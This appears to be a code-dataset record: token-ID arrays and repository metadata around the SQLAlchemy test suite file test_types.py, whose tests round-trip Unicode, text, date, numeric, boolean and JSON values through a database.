9299,
544,
86,
22,
531,
267,
291,
14,
629,
8,
71,
631,
14,
5570,
59,
16,
1055,
1023,
12,
298,
67,
26887,
65,
30441,
23,
29838,
10642,
1349,
69,
25,
13251,
1780,
1024,
4489,
23,
3624,
20,
70,
24,
32350,
16,
69,
18,
531,
267,
291,
14,
629,
8,
71,
631,
14,
1360,
63,
633,
12,
298,
2859,
921,
71,
631,
14,
5031,
14,
957,
15,
29151,
1822,
708,
531,
267,
291,
14,
629,
8,
71,
631,
14,
344,
12,
298,
29151,
1822,
708,
531,
267,
291,
14,
1815,
8,
71,
631,
14,
3455,
9,
267,
291,
14,
629,
8,
71,
631,
14,
5334,
63,
292,
12,
2197,
14,
2083,
8,
6965,
12,
1695,
12,
7829,
12,
3193,
12,
7294,
12,
5504,
430,
267,
291,
14,
629,
8,
71,
631,
14,
633,
12,
298,
2859,
921,
1246,
14,
5031,
14,
957,
15,
71,
1670,
15,
29151,
1822,
708,
531,
267,
291,
14,
629,
8,
71,
631,
14,
751,
12,
488,
9,
267,
291,
14,
629,
8,
71,
0
] |
[
1,
1,
1,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/autism-website
|
yanni_env/lib/python3.6/site-packages/sqlalchemy/testing/suite/test_types.py
|
33
|
25733
|
# coding: utf-8
from .. import fixtures, config
from ..assertions import eq_
from ..config import requirements
from sqlalchemy import Integer, Unicode, UnicodeText, select
from sqlalchemy import Date, DateTime, Time, MetaData, String, \
Text, Numeric, Float, literal, Boolean, cast, null, JSON, and_, type_coerce
from ..schema import Table, Column
from ... import testing
import decimal
import datetime
from ...util import u
from ... import util
class _LiteralRoundTripFixture(object):
@testing.provide_metadata
def _literal_round_trip(self, type_, input_, output, filter_=None):
"""test literal rendering """
# for literal, we test the literal render in an INSERT
# into a typed column. we can then SELECT it back as its
# official type; ideally we'd be able to use CAST here
# but MySQL in particular can't CAST fully
t = Table('t', self.metadata, Column('x', type_))
t.create()
for value in input_:
ins = t.insert().values(x=literal(value)).compile(
dialect=testing.db.dialect,
compile_kwargs=dict(literal_binds=True)
)
testing.db.execute(ins)
for row in t.select().execute():
value = row[0]
if filter_ is not None:
value = filter_(value)
assert value in output
class _UnicodeFixture(_LiteralRoundTripFixture):
__requires__ = 'unicode_data',
data = u("Alors vous imaginez ma surprise, au lever du jour, "
"quand une drôle de petite voix m’a réveillé. Elle "
"disait: « S’il vous plaît… dessine-moi un mouton! »")
@classmethod
def define_tables(cls, metadata):
Table('unicode_table', metadata,
Column('id', Integer, primary_key=True,
test_needs_autoincrement=True),
Column('unicode_data', cls.datatype),
)
def test_round_trip(self):
unicode_table = self.tables.unicode_table
config.db.execute(
unicode_table.insert(),
{
'unicode_data': self.data,
}
)
row = config.db.execute(
select([
unicode_table.c.unicode_data,
])
).first()
eq_(
row,
(self.data, )
)
assert isinstance(row[0], util.text_type)
def test_round_trip_executemany(self):
unicode_table = self.tables.unicode_table
config.db.execute(
unicode_table.insert(),
[
{
'unicode_data': self.data,
}
for i in range(3)
]
)
rows = config.db.execute(
select([
unicode_table.c.unicode_data,
])
).fetchall()
eq_(
rows,
[(self.data, ) for i in range(3)]
)
for row in rows:
assert isinstance(row[0], util.text_type)
def _test_empty_strings(self):
unicode_table = self.tables.unicode_table
config.db.execute(
unicode_table.insert(),
{"unicode_data": u('')}
)
row = config.db.execute(
select([unicode_table.c.unicode_data])
).first()
eq_(row, (u(''),))
def test_literal(self):
self._literal_round_trip(self.datatype, [self.data], [self.data])
class UnicodeVarcharTest(_UnicodeFixture, fixtures.TablesTest):
__requires__ = 'unicode_data',
__backend__ = True
datatype = Unicode(255)
@requirements.empty_strings_varchar
def test_empty_strings_varchar(self):
self._test_empty_strings()
class UnicodeTextTest(_UnicodeFixture, fixtures.TablesTest):
__requires__ = 'unicode_data', 'text_type'
__backend__ = True
datatype = UnicodeText()
@requirements.empty_strings_text
def test_empty_strings_text(self):
self._test_empty_strings()
class TextTest(_LiteralRoundTripFixture, fixtures.TablesTest):
__requires__ = 'text_type',
__backend__ = True
@classmethod
def define_tables(cls, metadata):
Table('text_table', metadata,
Column('id', Integer, primary_key=True,
test_needs_autoincrement=True),
Column('text_data', Text),
)
def test_text_roundtrip(self):
text_table = self.tables.text_table
config.db.execute(
text_table.insert(),
{"text_data": 'some text'}
)
row = config.db.execute(
select([text_table.c.text_data])
).first()
eq_(row, ('some text',))
def test_text_empty_strings(self):
text_table = self.tables.text_table
config.db.execute(
text_table.insert(),
{"text_data": ''}
)
row = config.db.execute(
select([text_table.c.text_data])
).first()
eq_(row, ('',))
def test_literal(self):
self._literal_round_trip(Text, ["some text"], ["some text"])
def test_literal_quoting(self):
data = '''some 'text' hey "hi there" that's text'''
self._literal_round_trip(Text, [data], [data])
def test_literal_backslashes(self):
data = r'backslash one \ backslash two \\ end'
self._literal_round_trip(Text, [data], [data])
class StringTest(_LiteralRoundTripFixture, fixtures.TestBase):
__backend__ = True
@requirements.unbounded_varchar
def test_nolength_string(self):
metadata = MetaData()
foo = Table('foo', metadata,
Column('one', String)
)
foo.create(config.db)
foo.drop(config.db)
def test_literal(self):
self._literal_round_trip(String(40), ["some text"], ["some text"])
def test_literal_quoting(self):
data = '''some 'text' hey "hi there" that's text'''
self._literal_round_trip(String(40), [data], [data])
def test_literal_backslashes(self):
data = r'backslash one \ backslash two \\ end'
self._literal_round_trip(String(40), [data], [data])
class _DateFixture(_LiteralRoundTripFixture):
compare = None
@classmethod
def define_tables(cls, metadata):
Table('date_table', metadata,
Column('id', Integer, primary_key=True,
test_needs_autoincrement=True),
Column('date_data', cls.datatype),
)
def test_round_trip(self):
date_table = self.tables.date_table
config.db.execute(
date_table.insert(),
{'date_data': self.data}
)
row = config.db.execute(
select([
date_table.c.date_data,
])
).first()
compare = self.compare or self.data
eq_(row,
(compare, ))
assert isinstance(row[0], type(compare))
def test_null(self):
date_table = self.tables.date_table
config.db.execute(
date_table.insert(),
{'date_data': None}
)
row = config.db.execute(
select([
date_table.c.date_data,
])
).first()
eq_(row, (None,))
@testing.requires.datetime_literals
def test_literal(self):
compare = self.compare or self.data
self._literal_round_trip(self.datatype, [self.data], [compare])
class DateTimeTest(_DateFixture, fixtures.TablesTest):
__requires__ = 'datetime',
__backend__ = True
datatype = DateTime
data = datetime.datetime(2012, 10, 15, 12, 57, 18)
class DateTimeMicrosecondsTest(_DateFixture, fixtures.TablesTest):
__requires__ = 'datetime_microseconds',
__backend__ = True
datatype = DateTime
data = datetime.datetime(2012, 10, 15, 12, 57, 18, 396)
class TimeTest(_DateFixture, fixtures.TablesTest):
__requires__ = 'time',
__backend__ = True
datatype = Time
data = datetime.time(12, 57, 18)
class TimeMicrosecondsTest(_DateFixture, fixtures.TablesTest):
__requires__ = 'time_microseconds',
__backend__ = True
datatype = Time
data = datetime.time(12, 57, 18, 396)
class DateTest(_DateFixture, fixtures.TablesTest):
__requires__ = 'date',
__backend__ = True
datatype = Date
data = datetime.date(2012, 10, 15)
class DateTimeCoercedToDateTimeTest(_DateFixture, fixtures.TablesTest):
__requires__ = 'date', 'date_coerces_from_datetime'
__backend__ = True
datatype = Date
data = datetime.datetime(2012, 10, 15, 12, 57, 18)
compare = datetime.date(2012, 10, 15)
class DateTimeHistoricTest(_DateFixture, fixtures.TablesTest):
__requires__ = 'datetime_historic',
__backend__ = True
datatype = DateTime
data = datetime.datetime(1850, 11, 10, 11, 52, 35)
class DateHistoricTest(_DateFixture, fixtures.TablesTest):
__requires__ = 'date_historic',
__backend__ = True
datatype = Date
data = datetime.date(1727, 4, 1)
class IntegerTest(_LiteralRoundTripFixture, fixtures.TestBase):
__backend__ = True
def test_literal(self):
self._literal_round_trip(Integer, [5], [5])
class NumericTest(_LiteralRoundTripFixture, fixtures.TestBase):
__backend__ = True
@testing.emits_warning(r".*does \*not\* support Decimal objects natively")
@testing.provide_metadata
def _do_test(self, type_, input_, output,
filter_=None, check_scale=False):
metadata = self.metadata
t = Table('t', metadata, Column('x', type_))
t.create()
t.insert().execute([{'x': x} for x in input_])
result = set([row[0] for row in t.select().execute()])
output = set(output)
if filter_:
result = set(filter_(x) for x in result)
output = set(filter_(x) for x in output)
eq_(result, output)
if check_scale:
eq_(
[str(x) for x in result],
[str(x) for x in output],
)
@testing.emits_warning(r".*does \*not\* support Decimal objects natively")
def test_render_literal_numeric(self):
self._literal_round_trip(
Numeric(precision=8, scale=4),
[15.7563, decimal.Decimal("15.7563")],
[decimal.Decimal("15.7563")],
)
@testing.emits_warning(r".*does \*not\* support Decimal objects natively")
def test_render_literal_numeric_asfloat(self):
self._literal_round_trip(
Numeric(precision=8, scale=4, asdecimal=False),
[15.7563, decimal.Decimal("15.7563")],
[15.7563],
)
def test_render_literal_float(self):
self._literal_round_trip(
Float(4),
[15.7563, decimal.Decimal("15.7563")],
[15.7563, ],
filter_=lambda n: n is not None and round(n, 5) or None
)
@testing.requires.precision_generic_float_type
def test_float_custom_scale(self):
self._do_test(
Float(None, decimal_return_scale=7, asdecimal=True),
[15.7563827, decimal.Decimal("15.7563827")],
[decimal.Decimal("15.7563827"), ],
check_scale=True
)
def test_numeric_as_decimal(self):
self._do_test(
Numeric(precision=8, scale=4),
[15.7563, decimal.Decimal("15.7563")],
[decimal.Decimal("15.7563")],
)
def test_numeric_as_float(self):
self._do_test(
Numeric(precision=8, scale=4, asdecimal=False),
[15.7563, decimal.Decimal("15.7563")],
[15.7563],
)
@testing.requires.fetch_null_from_numeric
def test_numeric_null_as_decimal(self):
self._do_test(
Numeric(precision=8, scale=4),
[None],
[None],
)
@testing.requires.fetch_null_from_numeric
def test_numeric_null_as_float(self):
self._do_test(
Numeric(precision=8, scale=4, asdecimal=False),
[None],
[None],
)
@testing.requires.floats_to_four_decimals
def test_float_as_decimal(self):
self._do_test(
Float(precision=8, asdecimal=True),
[15.7563, decimal.Decimal("15.7563"), None],
[decimal.Decimal("15.7563"), None],
)
def test_float_as_float(self):
self._do_test(
Float(precision=8),
[15.7563, decimal.Decimal("15.7563")],
[15.7563],
filter_=lambda n: n is not None and round(n, 5) or None
)
@testing.requires.precision_numerics_general
def test_precision_decimal(self):
numbers = set([
decimal.Decimal("54.234246451650"),
decimal.Decimal("0.004354"),
decimal.Decimal("900.0"),
])
self._do_test(
Numeric(precision=18, scale=12),
numbers,
numbers,
)
@testing.requires.precision_numerics_enotation_large
def test_enotation_decimal(self):
"""test exceedingly small decimals.
Decimal reports values with E notation when the exponent
is greater than 6.
"""
numbers = set([
decimal.Decimal('1E-2'),
decimal.Decimal('1E-3'),
decimal.Decimal('1E-4'),
decimal.Decimal('1E-5'),
decimal.Decimal('1E-6'),
decimal.Decimal('1E-7'),
decimal.Decimal('1E-8'),
decimal.Decimal("0.01000005940696"),
decimal.Decimal("0.00000005940696"),
decimal.Decimal("0.00000000000696"),
decimal.Decimal("0.70000000000696"),
decimal.Decimal("696E-12"),
])
self._do_test(
Numeric(precision=18, scale=14),
numbers,
numbers
)
@testing.requires.precision_numerics_enotation_large
def test_enotation_decimal_large(self):
"""test exceedingly large decimals.
"""
numbers = set([
decimal.Decimal('4E+8'),
decimal.Decimal("5748E+15"),
decimal.Decimal('1.521E+15'),
decimal.Decimal('00000000000000.1E+12'),
])
self._do_test(
Numeric(precision=25, scale=2),
numbers,
numbers
)
@testing.requires.precision_numerics_many_significant_digits
def test_many_significant_digits(self):
numbers = set([
decimal.Decimal("31943874831932418390.01"),
decimal.Decimal("319438950232418390.273596"),
decimal.Decimal("87673.594069654243"),
])
self._do_test(
Numeric(precision=38, scale=12),
numbers,
numbers
)
@testing.requires.precision_numerics_retains_significant_digits
def test_numeric_no_decimal(self):
numbers = set([
decimal.Decimal("1.000")
])
self._do_test(
Numeric(precision=5, scale=3),
numbers,
numbers,
check_scale=True
)
class BooleanTest(_LiteralRoundTripFixture, fixtures.TablesTest):
__backend__ = True
@classmethod
def define_tables(cls, metadata):
Table('boolean_table', metadata,
Column('id', Integer, primary_key=True, autoincrement=False),
Column('value', Boolean),
Column('unconstrained_value', Boolean(create_constraint=False)),
)
def test_render_literal_bool(self):
self._literal_round_trip(
Boolean(),
[True, False],
[True, False]
)
def test_round_trip(self):
boolean_table = self.tables.boolean_table
config.db.execute(
boolean_table.insert(),
{
'id': 1,
'value': True,
'unconstrained_value': False
}
)
row = config.db.execute(
select([
boolean_table.c.value,
boolean_table.c.unconstrained_value
])
).first()
eq_(
row,
(True, False)
)
assert isinstance(row[0], bool)
def test_null(self):
boolean_table = self.tables.boolean_table
config.db.execute(
boolean_table.insert(),
{
'id': 1,
'value': None,
'unconstrained_value': None
}
)
row = config.db.execute(
select([
boolean_table.c.value,
boolean_table.c.unconstrained_value
])
).first()
eq_(
row,
(None, None)
)
class JSONTest(_LiteralRoundTripFixture, fixtures.TablesTest):
__requires__ = 'json_type',
__backend__ = True
datatype = JSON
data1 = {
"key1": "value1",
"key2": "value2"
}
data2 = {
"Key 'One'": "value1",
"key two": "value2",
"key three": "value ' three '"
}
data3 = {
"key1": [1, 2, 3],
"key2": ["one", "two", "three"],
"key3": [{"four": "five"}, {"six": "seven"}]
}
data4 = ["one", "two", "three"]
data5 = {
"nested": {
"elem1": [
{"a": "b", "c": "d"},
{"e": "f", "g": "h"}
],
"elem2": {
"elem3": {"elem4": "elem5"}
}
}
}
data6 = {
"a": 5,
"b": "some value",
"c": {"foo": "bar"}
}
@classmethod
def define_tables(cls, metadata):
Table('data_table', metadata,
Column('id', Integer, primary_key=True),
Column('name', String(30), nullable=False),
Column('data', cls.datatype),
Column('nulldata', cls.datatype(none_as_null=True))
)
def test_round_trip_data1(self):
self._test_round_trip(self.data1)
def _test_round_trip(self, data_element):
data_table = self.tables.data_table
config.db.execute(
data_table.insert(),
{'name': 'row1', 'data': data_element}
)
row = config.db.execute(
select([
data_table.c.data,
])
).first()
eq_(row, (data_element, ))
def test_round_trip_none_as_sql_null(self):
col = self.tables.data_table.c['nulldata']
with config.db.connect() as conn:
conn.execute(
self.tables.data_table.insert(),
{"name": "r1", "data": None}
)
eq_(
conn.scalar(
select([self.tables.data_table.c.name]).
where(col.is_(null()))
),
"r1"
)
eq_(
conn.scalar(
select([col])
),
None
)
def test_round_trip_json_null_as_json_null(self):
col = self.tables.data_table.c['data']
with config.db.connect() as conn:
conn.execute(
self.tables.data_table.insert(),
{"name": "r1", "data": JSON.NULL}
)
eq_(
conn.scalar(
select([self.tables.data_table.c.name]).
where(cast(col, String) == 'null')
),
"r1"
)
eq_(
conn.scalar(
select([col])
),
None
)
def test_round_trip_none_as_json_null(self):
col = self.tables.data_table.c['data']
with config.db.connect() as conn:
conn.execute(
self.tables.data_table.insert(),
{"name": "r1", "data": None}
)
eq_(
conn.scalar(
select([self.tables.data_table.c.name]).
where(cast(col, String) == 'null')
),
"r1"
)
eq_(
conn.scalar(
select([col])
),
None
)
def _criteria_fixture(self):
config.db.execute(
self.tables.data_table.insert(),
[{"name": "r1", "data": self.data1},
{"name": "r2", "data": self.data2},
{"name": "r3", "data": self.data3},
{"name": "r4", "data": self.data4},
{"name": "r5", "data": self.data5},
{"name": "r6", "data": self.data6}]
)
def _test_index_criteria(self, crit, expected, test_literal=True):
self._criteria_fixture()
with config.db.connect() as conn:
stmt = select([self.tables.data_table.c.name]).where(crit)
eq_(
conn.scalar(stmt),
expected
)
if test_literal:
literal_sql = str(stmt.compile(
config.db, compile_kwargs={"literal_binds": True}))
eq_(conn.scalar(literal_sql), expected)
def test_crit_spaces_in_key(self):
name = self.tables.data_table.c.name
col = self.tables.data_table.c['data']
# limit the rows here to avoid PG error
# "cannot extract field from a non-object", which is
# fixed in 9.4 but may exist in 9.3
self._test_index_criteria(
and_(
name.in_(["r1", "r2", "r3"]),
cast(col["key two"], String) == '"value2"'
),
"r2"
)
@config.requirements.json_array_indexes
def test_crit_simple_int(self):
name = self.tables.data_table.c.name
col = self.tables.data_table.c['data']
# limit the rows here to avoid PG error
# "cannot extract array element from a non-array", which is
# fixed in 9.4 but may exist in 9.3
self._test_index_criteria(
and_(name == 'r4', cast(col[1], String) == '"two"'),
"r4"
)
def test_crit_mixed_path(self):
col = self.tables.data_table.c['data']
self._test_index_criteria(
cast(col[("key3", 1, "six")], String) == '"seven"',
"r3"
)
def test_crit_string_path(self):
col = self.tables.data_table.c['data']
self._test_index_criteria(
cast(col[("nested", "elem2", "elem3", "elem4")], String)
== '"elem5"',
"r5"
)
def test_crit_against_string_basic(self):
name = self.tables.data_table.c.name
col = self.tables.data_table.c['data']
self._test_index_criteria(
and_(name == 'r6', cast(col["b"], String) == '"some value"'),
"r6"
)
def test_crit_against_string_coerce_type(self):
name = self.tables.data_table.c.name
col = self.tables.data_table.c['data']
self._test_index_criteria(
and_(name == 'r6',
cast(col["b"], String) == type_coerce("some value", JSON)),
"r6",
test_literal=False
)
def test_crit_against_int_basic(self):
name = self.tables.data_table.c.name
col = self.tables.data_table.c['data']
self._test_index_criteria(
and_(name == 'r6', cast(col["a"], String) == '5'),
"r6"
)
def test_crit_against_int_coerce_type(self):
name = self.tables.data_table.c.name
col = self.tables.data_table.c['data']
self._test_index_criteria(
and_(name == 'r6', cast(col["a"], String) == type_coerce(5, JSON)),
"r6",
test_literal=False
)
def test_unicode_round_trip(self):
s = select([
cast(
{
util.u('réveillé'): util.u('réveillé'),
"data": {"k1": util.u('drôle')}
},
self.datatype
)
])
eq_(
config.db.scalar(s),
{
util.u('réveillé'): util.u('réveillé'),
"data": {"k1": util.u('drôle')}
},
)
def test_eval_none_flag_orm(self):
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import Session
Base = declarative_base()
class Data(Base):
__table__ = self.tables.data_table
s = Session(testing.db)
d1 = Data(name='d1', data=None, nulldata=None)
s.add(d1)
s.commit()
s.bulk_insert_mappings(
Data, [{"name": "d2", "data": None, "nulldata": None}]
)
eq_(
s.query(
cast(self.tables.data_table.c.data, String(convert_unicode="force")),
cast(self.tables.data_table.c.nulldata, String)
).filter(self.tables.data_table.c.name == 'd1').first(),
("null", None)
)
eq_(
s.query(
cast(self.tables.data_table.c.data, String(convert_unicode="force")),
cast(self.tables.data_table.c.nulldata, String)
).filter(self.tables.data_table.c.name == 'd2').first(),
("null", None)
)
__all__ = ('UnicodeVarcharTest', 'UnicodeTextTest', 'JSONTest',
'DateTest', 'DateTimeTest', 'TextTest',
'NumericTest', 'IntegerTest',
'DateTimeHistoricTest', 'DateTimeCoercedToDateTimeTest',
'TimeMicrosecondsTest', 'TimeTest', 'DateTimeMicrosecondsTest',
'DateHistoricTest', 'StringTest', 'BooleanTest')
|
gpl-3.0
|
[
3,
2803,
26,
2774,
13,
24,
199,
199,
504,
2508,
492,
15188,
12,
1101,
199,
504,
2508,
305,
13049,
492,
3850,
63,
199,
504,
2508,
888,
492,
9760,
199,
504,
8335,
492,
7225,
12,
6140,
12,
6140,
1872,
12,
3504,
199,
504,
8335,
492,
6148,
12,
13686,
12,
4703,
12,
24905,
12,
2624,
12,
971,
272,
4516,
12,
19378,
12,
11140,
12,
8785,
12,
9411,
12,
9106,
12,
2973,
12,
4840,
12,
436,
3131,
730,
63,
14141,
199,
504,
2508,
3629,
492,
6957,
12,
4996,
199,
504,
2263,
492,
5343,
199,
646,
6107,
199,
646,
2197,
199,
504,
2263,
1974,
492,
399,
199,
504,
2263,
492,
4884,
421,
199,
533,
485,
7621,
18579,
32220,
12812,
8,
785,
304,
272,
768,
4776,
14,
20824,
63,
2343,
272,
347,
485,
8939,
63,
2363,
63,
7254,
8,
277,
12,
730,
3131,
1324,
3131,
1072,
12,
2457,
10683,
403,
304,
267,
408,
396,
8785,
14066,
408,
398,
327,
367,
8785,
12,
781,
511,
314,
8785,
3795,
315,
376,
22542,
267,
327,
1901,
282,
20041,
2763,
14,
221,
781,
883,
2066,
10468,
652,
1771,
465,
2399,
267,
327,
25410,
730,
27,
9979,
1183,
781,
5121,
506,
7688,
370,
675,
7240,
840,
2348,
267,
327,
1325,
11200,
315,
6770,
883,
1133,
7240,
840,
9999,
267,
307,
275,
6957,
360,
84,
297,
291,
14,
2343,
12,
4996,
360,
88,
297,
730,
13309,
267,
307,
14,
981,
342,
398,
367,
574,
315,
1324,
10388,
288,
5261,
275,
307,
14,
3176,
1252,
1459,
8,
88,
29,
8939,
8,
585,
4992,
2014,
8,
355,
10982,
29,
4776,
14,
697,
14,
11072,
12,
355,
6555,
63,
958,
29,
807,
8,
8939,
63,
27080,
29,
549,
9,
288,
776,
288,
5343,
14,
697,
14,
2526,
8,
3617,
9,
398,
367,
1962,
315,
307,
14,
2416,
1252,
2526,
837,
288,
574,
275,
1962,
59,
16,
61,
288,
340,
2457,
63,
365,
440,
488,
26,
355,
574,
275,
2457,
2531,
585,
9,
288,
702,
574,
315,
1072,
421,
199,
533,
485,
7087,
12812,
1547,
7621,
18579,
32220,
12812,
304,
272,
636,
6537,
363,
275,
283,
2975,
63,
576,
297,
339,
666,
275,
399,
480,
2439,
1384,
373,
1785,
18884,
2598,
90,
610,
6296,
13219,
12,
10576,
1026,
422,
15776,
1335,
567,
12,
298,
1467,
298,
392,
460,
625,
69,
16642,
128,
113,
274,
477,
4837,
280,
266,
14164,
1148,
333,
21045,
65,
519,
5741,
432,
778,
5741,
14,
13096,
274,
298,
1467,
298,
328,
2231,
390,
26,
22405,
105,
428,
21045,
382,
373,
1785,
299,
416,
128,
107,
84,
8477,
100,
477,
385,
1132,
13,
573,
73,
625,
333,
548,
265,
1,
22405,
120,
531,
339,
768,
3744,
272,
347,
5627,
63,
5987,
8,
1886,
12,
3341,
304,
267,
6957,
360,
2975,
63,
1224,
297,
3341,
12,
1598,
4996,
360,
344,
297,
7225,
12,
5062,
63,
498,
29,
549,
12,
2151,
511,
63,
10065,
63,
27755,
29,
549,
395,
1598,
4996,
360,
2975,
63,
576,
297,
843,
14,
14184,
395,
1598,
776,
339,
347,
511,
63,
2363,
63,
7254,
8,
277,
304,
267,
2649,
63,
1224,
275,
291,
14,
5987,
14,
2975,
63,
1224,
398,
1101,
14,
697,
14,
2526,
8,
288,
2649,
63,
1224,
14,
3176,
1062,
288,
469,
355,
283,
2975,
63,
576,
356,
291,
14,
576,
12,
288,
789,
267,
776,
398,
1962,
275,
1101,
14,
697,
14,
2526,
8,
288,
3504,
779,
355,
2649,
63,
1224,
14,
67,
14,
2975,
63,
576,
12,
288,
4794,
267,
7092,
2246,
342,
398,
3850,
2531,
288,
1962,
12,
288,
334,
277,
14,
576,
12,
776,
267,
776,
267,
702,
1228,
8,
1143,
59,
16,
467,
4884,
14,
505,
63,
466,
9,
339,
347,
511,
63,
2363,
63,
7254,
63,
31162,
8,
277,
304,
267,
2649,
63,
1224,
275,
291,
14,
5987,
14,
2975,
63,
1224,
398,
1101,
14,
697,
14,
2526,
8,
288,
2649,
63,
1224,
14,
3176,
1062,
288,
359,
355,
469,
490,
283,
2975,
63,
576,
356,
291,
14,
576,
12,
355,
789,
355,
367,
284,
315,
1425,
8,
19,
9,
288,
1622,
267,
776,
398,
4730,
275,
1101,
14,
697,
14,
2526,
8,
288,
3504,
779,
355,
2649,
63,
1224,
14,
67,
14,
2975,
63,
576,
12,
288,
4794,
267,
7092,
10174,
342,
267,
3850,
2531,
288,
4730,
12,
288,
3842,
277,
14,
576,
12,
776,
367,
284,
315,
1425,
8,
19,
1874,
267,
776,
267,
367,
1962,
315,
4730,
26,
288,
702,
1228,
8,
1143,
59,
16,
467,
4884,
14,
505,
63,
466,
9,
339,
347,
485,
396,
63,
1667,
63,
5465,
8,
277,
304,
267,
2649,
63,
1224,
275,
291,
14,
5987,
14,
2975,
63,
1224,
398,
1101,
14,
697,
14,
2526,
8,
288,
2649,
63,
1224,
14,
3176,
1062,
288,
2420,
2975,
63,
576,
582,
399,
8355,
93,
267,
776,
267,
1962,
275,
1101,
14,
697,
14,
2526,
8,
288,
3504,
779,
2975,
63,
1224,
14,
67,
14,
2975,
63,
576,
566,
267,
7092,
2246,
342,
267,
3850,
2531,
1143,
12,
334,
85,
31150,
430,
339,
347,
511,
63,
8939,
8,
277,
304,
267,
291,
423,
8939,
63,
2363,
63,
7254,
8,
277,
14,
14184,
12,
359,
277,
14,
576,
467,
359,
277,
14,
576,
566,
421,
199,
533,
6140,
54,
18198,
774,
1547,
7087,
12812,
12,
15188,
14,
18845,
774,
304,
272,
636,
6537,
363,
275,
283,
2975,
63,
576,
297,
272,
636,
4620,
363,
275,
715,
339,
16048,
275,
6140,
8,
2299,
9,
339,
768,
7538,
14,
1667,
63,
5465,
63,
25545,
272,
347,
511,
63,
1667,
63,
5465,
63,
25545,
8,
277,
304,
267,
291,
423,
396,
63,
1667,
63,
5465,
342,
421,
199,
533,
6140,
1872,
774,
1547,
7087,
12812,
12,
15188,
14,
18845,
774,
304,
272,
636,
6537,
363,
275,
283,
2975,
63,
576,
297,
283,
505,
63,
466,
7,
272,
636,
4620,
363,
275,
715,
339,
16048,
275,
6140,
1872,
342,
339,
768,
7538,
14,
1667,
63,
5465,
63,
505,
272,
347,
511,
63,
1667,
63,
5465,
63,
505,
8,
277,
304,
267,
291,
423,
396,
63,
1667,
63,
5465,
342,
421,
199,
533,
4516,
774,
1547,
7621,
18579,
32220,
12812,
12,
15188,
14,
18845,
774,
304,
272,
636,
6537,
363,
275,
283,
505,
63,
466,
297,
272,
636,
4620,
363,
275,
715,
339,
768
] |
[
2803,
26,
2774,
13,
24,
199,
199,
504,
2508,
492,
15188,
12,
1101,
199,
504,
2508,
305,
13049,
492,
3850,
63,
199,
504,
2508,
888,
492,
9760,
199,
504,
8335,
492,
7225,
12,
6140,
12,
6140,
1872,
12,
3504,
199,
504,
8335,
492,
6148,
12,
13686,
12,
4703,
12,
24905,
12,
2624,
12,
971,
272,
4516,
12,
19378,
12,
11140,
12,
8785,
12,
9411,
12,
9106,
12,
2973,
12,
4840,
12,
436,
3131,
730,
63,
14141,
199,
504,
2508,
3629,
492,
6957,
12,
4996,
199,
504,
2263,
492,
5343,
199,
646,
6107,
199,
646,
2197,
199,
504,
2263,
1974,
492,
399,
199,
504,
2263,
492,
4884,
421,
199,
533,
485,
7621,
18579,
32220,
12812,
8,
785,
304,
272,
768,
4776,
14,
20824,
63,
2343,
272,
347,
485,
8939,
63,
2363,
63,
7254,
8,
277,
12,
730,
3131,
1324,
3131,
1072,
12,
2457,
10683,
403,
304,
267,
408,
396,
8785,
14066,
408,
398,
327,
367,
8785,
12,
781,
511,
314,
8785,
3795,
315,
376,
22542,
267,
327,
1901,
282,
20041,
2763,
14,
221,
781,
883,
2066,
10468,
652,
1771,
465,
2399,
267,
327,
25410,
730,
27,
9979,
1183,
781,
5121,
506,
7688,
370,
675,
7240,
840,
2348,
267,
327,
1325,
11200,
315,
6770,
883,
1133,
7240,
840,
9999,
267,
307,
275,
6957,
360,
84,
297,
291,
14,
2343,
12,
4996,
360,
88,
297,
730,
13309,
267,
307,
14,
981,
342,
398,
367,
574,
315,
1324,
10388,
288,
5261,
275,
307,
14,
3176,
1252,
1459,
8,
88,
29,
8939,
8,
585,
4992,
2014,
8,
355,
10982,
29,
4776,
14,
697,
14,
11072,
12,
355,
6555,
63,
958,
29,
807,
8,
8939,
63,
27080,
29,
549,
9,
288,
776,
288,
5343,
14,
697,
14,
2526,
8,
3617,
9,
398,
367,
1962,
315,
307,
14,
2416,
1252,
2526,
837,
288,
574,
275,
1962,
59,
16,
61,
288,
340,
2457,
63,
365,
440,
488,
26,
355,
574,
275,
2457,
2531,
585,
9,
288,
702,
574,
315,
1072,
421,
199,
533,
485,
7087,
12812,
1547,
7621,
18579,
32220,
12812,
304,
272,
636,
6537,
363,
275,
283,
2975,
63,
576,
297,
339,
666,
275,
399,
480,
2439,
1384,
373,
1785,
18884,
2598,
90,
610,
6296,
13219,
12,
10576,
1026,
422,
15776,
1335,
567,
12,
298,
1467,
298,
392,
460,
625,
69,
16642,
128,
113,
274,
477,
4837,
280,
266,
14164,
1148,
333,
21045,
65,
519,
5741,
432,
778,
5741,
14,
13096,
274,
298,
1467,
298,
328,
2231,
390,
26,
22405,
105,
428,
21045,
382,
373,
1785,
299,
416,
128,
107,
84,
8477,
100,
477,
385,
1132,
13,
573,
73,
625,
333,
548,
265,
1,
22405,
120,
531,
339,
768,
3744,
272,
347,
5627,
63,
5987,
8,
1886,
12,
3341,
304,
267,
6957,
360,
2975,
63,
1224,
297,
3341,
12,
1598,
4996,
360,
344,
297,
7225,
12,
5062,
63,
498,
29,
549,
12,
2151,
511,
63,
10065,
63,
27755,
29,
549,
395,
1598,
4996,
360,
2975,
63,
576,
297,
843,
14,
14184,
395,
1598,
776,
339,
347,
511,
63,
2363,
63,
7254,
8,
277,
304,
267,
2649,
63,
1224,
275,
291,
14,
5987,
14,
2975,
63,
1224,
398,
1101,
14,
697,
14,
2526,
8,
288,
2649,
63,
1224,
14,
3176,
1062,
288,
469,
355,
283,
2975,
63,
576,
356,
291,
14,
576,
12,
288,
789,
267,
776,
398,
1962,
275,
1101,
14,
697,
14,
2526,
8,
288,
3504,
779,
355,
2649,
63,
1224,
14,
67,
14,
2975,
63,
576,
12,
288,
4794,
267,
7092,
2246,
342,
398,
3850,
2531,
288,
1962,
12,
288,
334,
277,
14,
576,
12,
776,
267,
776,
267,
702,
1228,
8,
1143,
59,
16,
467,
4884,
14,
505,
63,
466,
9,
339,
347,
511,
63,
2363,
63,
7254,
63,
31162,
8,
277,
304,
267,
2649,
63,
1224,
275,
291,
14,
5987,
14,
2975,
63,
1224,
398,
1101,
14,
697,
14,
2526,
8,
288,
2649,
63,
1224,
14,
3176,
1062,
288,
359,
355,
469,
490,
283,
2975,
63,
576,
356,
291,
14,
576,
12,
355,
789,
355,
367,
284,
315,
1425,
8,
19,
9,
288,
1622,
267,
776,
398,
4730,
275,
1101,
14,
697,
14,
2526,
8,
288,
3504,
779,
